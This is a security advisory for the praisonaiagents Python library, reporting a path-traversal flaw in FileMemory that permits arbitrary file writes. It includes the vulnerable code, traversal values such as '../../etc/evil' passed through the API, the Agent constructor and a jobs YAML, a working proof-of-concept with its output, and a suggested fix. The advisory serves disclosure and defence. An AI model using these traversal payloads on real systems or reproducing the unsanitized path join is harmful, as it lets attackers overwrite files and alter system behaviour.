praisonaiagents
Affected
- introduced
0, fixed1.6.58(ecosystem)
Fixed versions
1.6.58
Fix
- Fixed version
1.6.58pip install --upgrade praisonaiagents==1.6.58
Advisory
Also known as: CVE-2026-55527, GHSA-gxmw-5f7x-6g22
praisonaiagents vulnerable to arbitrary file write via unsanitized user_id in FileMemory.__init__() — path traversal to any writable location
Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current `main` branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
**Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):**
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
*A — Direct Python API (any caller):*
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
*B — Via Agent constructor (memory dict):*
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
*C — Via agents.yaml / job submission (agent_yaml field):*
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current `main`):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal.
Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
FileMemory instances with user-controlled user_iduser_id parameter directly or indirectly (via Agent(memory={"user_id": ...}), agents.yaml, or jobs API)High-impact scenarios:
config.json or settings.json to an app's configuration directory, potentially modifying runtime behavior./etc/cron.d/ paths (Linux) or %APPDATA%\Startup\ (Windows) directories that might be interpreted by monitoring systems.Distinction from GHSA-766v-q9x3-g744:
| | GHSA-766v-q9x3-g744 | This finding |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) | praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor | FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 | Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
High Basis: CVSS v3 score 7.1, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
0, fixed 1.6.58 (ecosystem)1.6.58
1.6.58pip install --upgrade praisonaiagents==1.6.58Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0